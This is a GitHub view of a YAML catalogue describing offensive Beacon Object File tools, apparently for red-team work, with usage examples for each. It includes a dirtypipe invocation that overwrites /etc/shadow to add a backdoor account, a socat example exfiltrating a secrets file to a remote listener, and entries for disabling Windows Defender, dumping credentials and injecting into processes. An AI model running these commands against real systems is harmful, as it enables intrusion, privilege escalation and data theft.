-
Notifications
You must be signed in to change notification settings - Fork 28
Expand file tree
/
Copy pathBOF-all.yaml
More file actions
3541 lines (3510 loc) · 108 KB
/
Copy pathBOF-all.yaml
File metadata and controls
3541 lines (3510 loc) · 108 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
---
name: wProcessInjectionSrdi
description: "Injects any BOF to any process"
author: Z-Labs
Arch: ["x64", "x86"]
tags: ['windows','srdi','z-labs','TA0005','TA0004','T1055.001']
category: "Injection-BOF"
OS: Windows
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/wProcessInjectionSrdi.zig'
examples: '
wProcessInjectionSrdi i:<bof_len_in_bytes> z:<pointer_to_bof_bytes> i:<pid>
'
arguments:
- name: bof_data_len
desc: "Length in bytes of BOF to be injected"
type: integer
required: true
- name: bof_data_ptr
desc: "Pointer to the bytes of the BOF to be injected"
type: string
required: true
- name: pid
desc: "PID"
type: integer
required: true
- name: dump_shellcode
desc: "When --dump-shellcode string is present final shellcode will be written to 'shellcode.bin' file."
type: string
required: false
errors:
- name: UnknownError
code: 0xff
message: "Unknown error"
---
name: "udpScanner"
description: "Universal UDP port sweeper"
author: "Z-Labs"
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['windows', 'linux','T0007','T0846.001', 'z-labs']
category: "SAR-BOF"
OS: "cross-platform"
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/udpScanner.zig'
examples: |
Scanning provided IP range on most common UDP ports with builtin UDP probes:
udpScanner str:192.168.0.1-32
Scanning only cherry-picked ports (if no builtin UDP probe for the chosen port is available then length and content of the packet payload will be randomly generated:
udpScanner str:192.168.0.1:123,161
udpScanner str:102.168.1.1-128:53,427,137
udpScanner str:192.168.0.1:100-200
Example of running with provided UDP probes:
udpScanner str:192.168.0.1-32 int:BUF_LEN str:BUF_MEMORY_ADDRESS
UDP probe syntax (with example):
<portSpec> <probeName> <hexadecimal encoded probe data>\n
53,69,135,1761 dnsReq 000010000000000000000000
Example of running udpScanner using cli4bofs tool and with UDP probes provided from the file:
cli4bofs exec udpScanner 102.168.1.1-4:161,427 file:/tmp/udpPayloads
arguments:
- name: IPSpec
desc: "IP addresses specification, ex: 192.168.0.1; 10.0.0-255.1-254; 192.168.0.1:161,427,10-15"
type: string
required: true
- name: BufLen
desc: "length of UDP probes buffer"
type: integer
required: false
- name: BufMemoryAddress
desc: "memory address of UDP probes buffer"
type: string
required: false
---
name: "tcpScanner"
description: "TCP connect() port scanner"
author: "Z-Labs"
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['windows', 'linux','T0007','T0846.001', 'z-labs']
category: "SAR-BOF"
OS: "cross-platform"
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/tcpScanner.zig'
examples: |
Scanning selected hosts and ports:
tcpScanner str:192.168.0.1:80,22,443
tcpScanner str:192.168.0.1:100-200
tcpScanner str:102.168.1.1-128:445,81,8080-8089
arguments:
- name: IPSpec
desc: "IP addresses specification, ex: 192.168.0.1; 10.0.0-255.1-254; 192.168.0.1:161,427,10-15"
type: string
required: true
---
name: whoami
description: "Print current user"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['windows', 'linux','TA0007','T1033', 'z-labs']
category: "SAL-BOF"
OS: cross-platform
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/whoami.zig'
examples: '
whoami
'
---
name: uname
description: "Print system information. With no flag, same as -s"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['linux','TA0007', 'T1082','z-labs']
category: 'SAL-BOF'
OS: Linux
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/coreutils/uname.zig'
examples: '
uname
uname -a
Flags:
-a print all information
-s print the kernel name
-n print the network node hostname
-r print the kernel release
-v print the kernel version
-m print the machine hardware name
'
arguments:
- name: option
desc: "Print only chosen system information. Supported options: -asnrvm"
type: string
required: false
---
name: hostid
description: "Print the numeric identifier for the current host"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['linux','TA0007', 'T1016','z-labs']
category: 'SAL-BOF'
OS: Linux
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/coreutils/hostid.zig'
examples: '
hostid
'
---
name: hostname
description: "Show system host name"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['linux','TA0007', 'T1016','z-labs']
category: 'SAL-BOF'
OS: Linux
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/coreutils/hostname.zig'
examples: '
hostname
'
---
name: uptime
description: "Tell how long the system has been running"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['linux','TA0007', 'T1082','z-labs']
category: 'SAL-BOF'
OS: Linux
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/coreutils/uptime.zig'
examples: |
uptime
---
name: id
description: "Print user and group information for each specified USER, or (when USER omitted) for the current process"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['windows', 'linux','TA0007','T1033', 'z-labs']
category: "SAL-BOF"
OS: Linux
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/coreutils/id.zig'
examples: '
id
id root
'
arguments:
- name: user
desc: "Prints user and group information for this user"
type: string
required: false
---
name: who
description: "Show who is logged on"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['linux','TA0007', 'T1082','z-labs']
category: 'SAL-BOF'
OS: Linux
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/coreutils/who.zig'
examples: |
who
---
name: cat
description: "Print content of a file"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['windows', 'linux','TA0007', 'T1083', 'z-labs']
category: "FILES-BOF"
OS: cross-platform
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/cat.zig'
examples: |
cat /etc/passwd
cat C:\Windows\System32\drivers\etc\hosts
arguments:
- name: file_path
desc: "path to the file to be printed"
type: string
required: true
errors:
- name: AccessDenied
code: 0x1
message: "Failed to open provided file"
- name: FileNotFound
code: 0x2
message: "File not found"
- name: AntivirusInterference
code: 0x3
message: "Possible Antivirus Interference while opening the file"
- name: FileNotProvided
code: 0x4
message: "No file provided"
- name: StreamTooLong
code: 0x5
message: "File is very large"
- name: UnknownError
code: 0x6
message: "Unknown error"
---
name: pwd
description: "Print name of current/working directory"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['windows', 'linux','TA0007', 'T1083', 'z-labs']
category: "FILES-BOF"
OS: cross-platform
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/pwd.zig'
examples: '
pwd
'
errors:
- name: AccesDenied
code: 0x1
message: "Permission to read or search a component of the filename was denied"
- name: CwdUnlinked
code: 0x2
message: "The current working directory has been unlinked"
- name: NameTooLong
code: 0x3
message: "Name too long"
- name: UnknownError
code: 0x4
message: "Unknown error"
---
name: cd
description: "Change current working directory"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['windows', 'linux','TA0007', 'T1083', 'z-labs']
category: "FILES-BOF"
OS: cross-platform
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/cd.zig'
examples: '
cd /etc
cd C:\Windows
'
arguments:
- name: dir_path
desc: "path to change to"
type: string
required: true
errors:
- name: AccessDenied
code: 0x1
message: "Access to the directory denied"
- name: SymLinkLoop
code: 0x2
message: "Symlink loop"
- name: NameTooLong
code: 0x3
message: "Directory too long"
- name: FileNotFound
code: 0x4
message: "No such directory"
- name: SystemResources
code: 0x5
message: "System resources"
- name: NotDir
code: 0x6
message: "No directory"
- name: DirNotProvided
code: 0x7
message: "Directory not provided"
- name: UnknownError
code: 0x8
message: "Unknown error"
---
name: ls
description: "List given directory content"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['windows', 'linux','TA0007', 'T1083', 'z-labs']
category: "FILES-BOF"
OS: cross-platform
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/ls.zig'
examples: '
ls /
ls C:\Windows\System32\
'
arguments:
- name: dir_path
desc: "path to the directory to be listed"
type: string
required: true
errors:
- name: AccessDenied
code: 0x1
message: "Failed to open provided file"
- name: FileNotFound
code: 0x2
message: "File not found"
- name: AntivirusInterference
code: 0x3
message: "Possible Antivirus Interference while opening the file"
- name: DirNotProvided
code: 0x4
message: "No directory provided"
- name: UnknownError
code: 0x5
message: "Unknown error"
---
name: grep
description: "Print lines that match patterns"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['windows', 'linux','TA0007', 'T1083', 'z-labs']
category: "TEXT-BOF"
OS: cross-platform
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/grep.zig'
examples: |
grep root /etc/passwd
grep '^[^#\n]' /etc/hosts
arguments:
- name: pattern
desc: "Searched pattern in an extended regular expression syntax"
type: string
required: true
- name: file_path
desc: "Path to the file for searching"
type: string
required: true
errors:
- name: AccessDenied
code: 0x1
message: "Failed to open provided file"
- name: FileNotFound
code: 0x2
message: "File not found"
- name: AntivirusInterference
code: 0x3
message: "Possible Antivirus Interference while opening the file"
- name: FileNotProvided
code: 0x4
message: "No file provided"
- name: StreamTooLong
code: 0x5
message: "File is very large"
- name: UnknownError
code: 0x6
message: "Unknown error"
---
name: find
description: "Search for files in a directory hierarchy. Simple version of find(1) utility"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['windows', 'linux','TA0007', 'T1083', 'z-labs']
category: "FILES-BOF"
OS: cross-platform
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/find.zig'
examples: |
Considerations:
-maxdepth hardcoded to 3
symbolic links are not followed
one find "test" supported at a time
Find and list unix socket in a given directory:
find /home/user -type s
List files hich have r and w permission for their owner and group and only r for other users, without regard to the presence of any extra permission bits:
find . -perm -664
Search for set-user-ID files and directories, without regard to the presence of any extra permission bits:
find . -perm -4000
List files matching provided regex (match on the whole path, not a search):
find /etc/apt -regex .*archive.*
arguments:
- name: dir_path
desc: "path to the directory to be listed"
type: string
required: true
- name: test
desc: "Type of test to conduct, supported: -type|-regex|-perm"
type: string
required: false
- name: test_param
desc: "Parameter for selected test"
type: string
required: false
errors:
- name: AccessDenied
code: 0x1
message: "Failed to open provided file"
- name: FileNotFound
code: 0x2
message: "File not found"
- name: AntivirusInterference
code: 0x3
message: "Possible Antivirus Interference while opening the file"
- name: DirNotProvided
code: 0x4
message: "No directory provided"
- name: TestParamNotProvided
code: 0x5
message: "Test param (e.g. -type *file_type*) not provided"
- name: OutOfMemory
code: 0x6
message: "Not sufficient memory available"
- name: NoSuchTest
code: 0x7
message: "Urecognized test type provided"
- name: BadParameter
code: 0x8
message: "Parameter for chosen test is badly formatted"
- name: UnknownError
code: 0x9
message: "Unknown error"
---
name: "ifconfig"
description: "Displays the status of the currently active network interfaces; Manipulates current state of the device (euid = 0 or CAP_NET_ADMIN is required for that)"
author: "Z-Labs"
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['linux','TA0007', 'T1016','z-labs']
category: 'SAL-BOF'
OS: 'Linux'
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/net-tools/ifconfig.zig'
arguments:
- name: User
desc: "Prints user and group information for this user"
type: string
required: false
examples: '
ifconfig
ifconfig eth0 down
ifconfig eth0 promisc
ifconfig eth0 -promisc
'
---
name: kmodLoader
description: "Loads and unloads Linux kernel modules images directly from memory"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['linux','TA0003', 'TA0004', 'T1547.006', 'DC0031', 'z-labs']
category: "Postex-BOF"
OS: Linux
api:
- 'kmodLoad(module_image: [*]const u8, len: usize, param_values: [*:0]const u8) callconv(.c) u8'
- 'kmodRemove(module_name: [*:0]const u8, flags: u32) callconv(.c) u8'
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/kmodLoader.zig'
examples: '
See BOF-stager for an example of using this BOF.
'
arguments:
- name: module_image
desc: "memory address of kernel image module"
type: string
required: true
api: kmodLoad
- name: len
desc: "size of kernel module image"
type: integer
required: true
api: kmodLoad
- name: param_values
desc: "kernel module parameters in a form of: name[=value[,value...]] for each parameter"
type: string
required: true
api: kmodLoad
- name: module_name
desc: "kernel module name to remove"
type: string
required: true
api: kmodRemove
- name: flags
desc: "special flags"
type: integer
required: true
api: kmodRemove
errors:
- name: NoRootPermissions
code: 0x1
message: "Root privileges are required to load kernel module"
---
name: lskmod
description: "Print the currently loaded kernel modules"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['linux','T0007','T1082', 'z-labs']
category: "SAL-BOF"
OS: Linux
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/lskmod.zig'
examples: |
lskmod
errors:
- name: FaileOpenFailure
code: 0x1
message: "Failed to open '/proc/modules' file"
- name: UnknownError
code: 0x2
message: "Unknown error"
---
name: whereami
description: "Print hypervisor vendor signature from CPUID"
author: Z-Labs
Arch: ["x64", "x86"]
tags: ['windows', 'linux','T0007','T1082', 'z-labs']
category: "SAL-BOF"
OS: cross-platform
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/whereami.zig'
examples: '
whereami
'
errors:
- name: UnknownHypervisor
code: 0x1
message: "Unknown vendor signature"
- name: UnknownError
code: 0x2
message: "Unknown error"
---
name: zcat
description: "Print content of a gzip compressed file"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['windows', 'linux','TA0007','T1083', 'z-labs']
category: "FILES-BOF"
OS: cross-platform
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/zcat.zig'
examples: '
zcat /boot/config.gz
'
arguments:
- name: file_path
desc: "path to the file to be printed"
type: string
required: true
errors:
- name: AccessDenied
code: 0x1
message: "Failed to open provided file"
- name: FileNotFound
code: 0x2
message: "File not found"
- name: AntivirusInterference
code: 0x3
message: "Possible Antivirus Interference while opening the file"
- name: FileNotProvided
code: 0x4
message: "No file provided"
- name: StreamTooLong
code: 0x5
message: "File is very large"
- name: UnknownError
code: 0x6
message: "Unknown error"
---
name: dirtypipe
description: "Privilege escalation exploit for 'dirtypipe' vulnerability (CVE-2022-0847) against Linux Kernel"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['linux','TA0004', 'T1068', 'z-labs']
category: "Elevation-BOF"
OS: Linux
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/dirtypipe.zig'
examples: |
Basic usage of the BOF:
dirtypipe /etc/shadow 913 "backdoor:xxx:10123::::::"
Details about vulnerability and PoC exploit (author: Max Kellermann):
https://dirtypipe.cm4all.com/
arguments:
- name: file_path
desc: "path to a file that will be overwritten"
type: string
required: true
- name: offset
desc: "offset in overwritten file"
type: string
required: true
- name: data
desc: "data to be written to the provided at provided offset"
type: string
required: true
errors:
- name: FdProcessLimit
code: 0x1
message: "Too many file descriptors for a process"
- name: InvalidPipe
code: 0x2
message: "Pipe is invalid"
- name: PageBoundryOffset
code: 0x3
message: "Page boundry would be crossed (offset % PAGE_SIZE == 0)"
- name: FileOpenFailure
code: 0x4
message: "Failed to open file"
- name: SpliceFailure
code: 0x5
message: "Failure during splicing"
- name: WriteFailure
code: 0x6
message: "Failure during file write"
- name: ShortWrite
code: 0x7
message: "File write not fully complete"
- name: UnknownError
code: 0x8
message: "Unknown error"
---
name: socat
description: "Concatenate and redirect sockets"
author: Z-Labs
Arch: ["x64", "x86", "aarch64", "arm"]
tags: ['windows', 'linux','TA0007', 'T1083', 'z-labs']
category: "POSTEX-BOF"
OS: cross-platform
sources:
- 'https://raw.githubusercontent.com/The-Z-Labs/bof-launcher/main/bofs/src/socat.zig'
examples: |
socat <src-address> <sink-address>
<src-address> - an address that acts as data source
<sink-address> - an address that acts as data sink
Currently available address types:
OPEN:<filename>
CREATE:<filename>
TCP:<host:port>
TLS:<host:ssl-enabled port>
Example use case: data exfiltration via TLS channel with z-beac0n:
Setting up listener with ncat on the server-side:
ncat --ssl -nlvp 8443 --ssl-cert cert.pem --ssl-key key.pem > loot
OR with socat (original):
socat OPENSSL-LISTEN:8443,reuseaddr,cert=cert.pem,key=key.pem,verify=0 GOPEN:loot
In the implant:
z-beac0n> socat --argv OPEN:/etc/secretdata TLS:remotehost:8443
arguments:
- name: src_address
desc: "path to a file that will be overwritten"
type: string
required: true
- name: sink_address
desc: "offset in overwritten file"
type: string
required: true
---
name: KillDefender
description: "Make Windows Defender useless by removing its token privileges and lowering the token integrity"
author: Cerbersec
Arch: ["x64", "x86"]
tags: ['windows', 'host-recon', 'cerbersec']
OS: Windows
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/Cerbersec/KillDefenderBOF/refs/heads/main/KillDefender.c'
- 'https://raw.githubusercontent.com/Cerbersec/KillDefenderBOF/refs/heads/main/KillDefender.h'
- 'https://raw.githubusercontent.com/Cerbersec/KillDefenderBOF/refs/heads/main/syscalls-asm.h'
- 'https://raw.githubusercontent.com/Cerbersec/KillDefenderBOF/refs/heads/main/syscalls.c'
- 'https://raw.githubusercontent.com/Cerbersec/KillDefenderBOF/refs/heads/main/syscalls.h'
examples: '
KillDefender
'
---
name: ppenum
description: "Read the protection level of a process"
author: rasta-mouse
Arch: ["x64", "x86"]
tags: ['windows', 'host-recon']
OS: Windows
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/rasta-mouse/PPEnum/refs/heads/main/ppenum.c'
examples: '
'
arguments:
- name: pid
desc: "process PID"
type: integer
required: true
---
name: detect-hooks
description: "Attempts to detect userland API hooks in place by AV/EDR"
author: X-Force-Red
Arch: ["x64", "x86"]
tags: ['windows', 'host-recon', 'xforcered']
OS: Windows
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/xforcered/Detect-Hooks/refs/heads/main/src/detect-hooks.c'
- 'https://raw.githubusercontent.com/xforcered/Detect-Hooks/refs/heads/main/src/detect-hooks.h'
examples: '
detect-hooks
'
---
name: CredMan
description: "Dumps the credential manager by abusing the SeTrustedCredmanAccess Privilege"
author: jsecu
Arch: ["x64", "x86"]
tags: ['windows', 'lateral-movement']
OS: Windows
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/jsecu/CredManBOF/refs/heads/main/CredMan.c'
examples: '
credman "filepath1" "filepath2" pid
'
arguments:
- name: pid
desc: "encrypted backup file location"
type: wstring
required: true
- name: pid
desc: "decrypted backup file location"
type: wstring
required: true
- name: pid
desc: "user process PID"
type: integer
required: true
---
name: No-consolation
srcfile: "entry"
description: "Attempts to detect userland API hooks in place by AV/EDR"
author: Fortra
Arch: ["x64", "x86"]
tags: ['windows', 'execution', 'fortra']
category: "Execution-BOF"
OS: Windows
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/source/apisetlookup.c'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/source/console.c'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/source/entry.c'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/source/hwbp.c'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/source/loader.c'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/source/peb.c'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/source/runner.c'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/source/utils.c'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/include/apisetlookup.h'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/include/bofdefs.h'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/include/console.h'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/include/entry.h'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/include/hwbp.h'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/include/loader.h'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/include/output.h'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/include/peb.h'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/include/runner.h'
- 'https://raw.githubusercontent.com/fortra/No-Consolation/refs/heads/main/include/utils.h'
examples: '
'
---
name: Domaininfo
description: "Enumerate CAs and templates in the AD using Win32 functions"
author: Outflank
Arch: ["x64", "x86"]
tags: ['windows', 'host-recon', 'outflank']
OS: windows
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/outflanknl/C2-Tool-Collection/refs/heads/main/BOF/Domaininfo/SOURCE/Domaininfo.c'
- 'https://raw.githubusercontent.com/outflanknl/C2-Tool-Collection/refs/heads/main/BOF/Domaininfo/SOURCE/Domaininfo.h'
examples: '
domaininfo
'
---
name: Smbinfo
description: "Gather remote system version info using the NetWkstaGetInfo API"
author: Outflank
Arch: ["x64", "x86"]
tags: ['windows', 'host-recon', 'outflank']
OS: windows
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/outflanknl/C2-Tool-Collection/refs/heads/main/BOF/Smbinfo/SOURCE/Smbinfo.c'
- 'https://raw.githubusercontent.com/outflanknl/C2-Tool-Collection/refs/heads/main/BOF/Smbinfo/SOURCE/Smbinfo.h'
examples: '
smbinfo <computername>
'
arguments:
- name: computername
desc: "Active directory computer name"
type: wstring
required: true
---
name: ReconAD
description: "Query Active Directory objects and attributes using ADSI API"
author: Outflank
Arch: ["x64", "x86"]
tags: ['windows', 'host-recon', 'outflank']
OS: windows
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/outflanknl/C2-Tool-Collection/refs/heads/main/BOF/ReconAD/SOURCE/ReconAD.c'
- 'https://raw.githubusercontent.com/outflanknl/C2-Tool-Collection/refs/heads/main/BOF/ReconAD/SOURCE/ReconAD.h'
examples: '
ReconAD (&(objectClass=user)(objectCategory=person)(sAMAccountName=*admin*)) displayName,sAMAccountName 10
ReconAD users *admin* displayName,sAMAccountName 10 -usegc
ReconAD groups "Domain Admins" -all -max -usegc 192.168.1.10
ReconAD computers *srv* name,operatingSystemVersion 20 -ldap 192.168.1.10
'
arguments:
- name: objects
desc: "custom|users|groups|computers"
type: wstring
required: true
- name: ldap_filter
desc: "custom_ldap_filter|username|groupname|computername"
type: wstring
required: true
- name: ldap_attr
desc: "comma separated ldap attributes"
type: wstring
required: false
- name: max_results
desc: "max results"
type: integer
required: false
- name: usegc
desc: "search within the Global Catalogue (set to 1); use LDAP (default)"
type: integer
required: false
- name: server
desc: "IP of custom server; or '-noserver' for serverless binding (default)"
type: wstring
required: false
---
name: Psk
description: "Shows detailed information from the windows kernel and loaded driver modules and provides a summary of installed security products (AV/EDR drivers)"
author: Outflank
Arch: ["x64", "x86"]
tags: ['windows', 'host-recon', 'outflank']
OS: windows
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/outflanknl/C2-Tool-Collection/refs/heads/main/BOF/Psk/SOURCE/Psk.c'
- 'https://raw.githubusercontent.com/outflanknl/C2-Tool-Collection/refs/heads/main/BOF/Psk/SOURCE/Psk.h'
- 'https://raw.githubusercontent.com/outflanknl/C2-Tool-Collection/refs/heads/main/BOF/Psk/SOURCE/Syscalls-WoW64.h'
- 'https://raw.githubusercontent.com/outflanknl/C2-Tool-Collection/refs/heads/main/BOF/Psk/SOURCE/Syscalls.h'
examples: '
psk
'
---
name: Klist
description: "Displays a list of currently cached Kerberos tickets"
author: Outflank
Arch: ["x64", "x86"]
tags: ['windows', 'host-recon', 'outflank']
OS: windows
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/outflanknl/C2-Tool-Collection/refs/heads/main/BOF/Klist/SOURCE/Klist.c'
- 'https://raw.githubusercontent.com/outflanknl/C2-Tool-Collection/refs/heads/main/BOF/Klist/SOURCE/Klist.h'
examples: '
TODO
'
---
name: adcs_enum
srcfile: "entry"
description: "Enumerate CAs and templates in the AD using Win32 functions"
author: Trustedsec
Arch: ["x64", "x86"]
tags: ['windows', 'host-recon', 'trustedsec', 'CS-Situational-Awareness-BOF']
category: "ADCS-BOF"
OS: Windows
entrypoint: "go"
sources:
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adcs_enum/entry.c'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adcs_enum/adcs_enum.c'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adcs_enum/adcs_enum.h'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adcs_enum/certca.h'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/SA/adcs_enum/certenroll.h'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/common/base.c'
- 'https://raw.githubusercontent.com/trustedsec/CS-Situational-Awareness-BOF/refs/heads/master/src/common/bofdefs.h'
examples: '
adcs_enum <domain>
'
arguments:
- name: domain
desc: "Active directory domain name"
type: wstring
required: true
---
name: adcs_enum_com
srcfile: "entry"
